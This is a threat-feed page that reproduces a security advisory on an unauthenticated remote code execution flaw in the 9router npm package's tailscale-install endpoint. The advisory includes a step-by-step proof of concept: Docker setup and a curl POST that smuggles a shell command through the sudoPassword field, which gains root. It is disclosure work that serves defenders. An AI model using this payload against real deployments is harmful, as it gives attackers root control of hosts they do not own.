Skip to main content

Threats Tagged 'ghsa-g6g7-pvmx-m74p'

View all threats tagged with 'ghsa-g6g7-pvmx-m74p'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: ghsa-g6g7-pvmx-m74p

Threats Tagged 'ghsa-g6g7-pvmx-m74p'

Click on any threat for detailed analysis and mitigation recommendations

# Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes. ### Details #### 1. Middleware matcher (`src/proxy.js:3-15`) ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them. #### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`) ```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ``` `body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux. #### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`) ```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ``` The byte stream sent to the stdin of the `sudo -S sh` child process is: ``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ``` When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line: 1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input. Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user. Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path. ### PoC The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload. **Step 1 — build the target image** ```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g [email protected] EXPOSE 20128 CMD ["9router"] EOF ``` **Step 2 — start the target** ```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ``` **Step 3 — exploit (one unauthenticated POST)** ```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ``` **Step 4 — verify** ```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ``` The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh`

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: ghsa-g6g7-pvmx-m74p
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses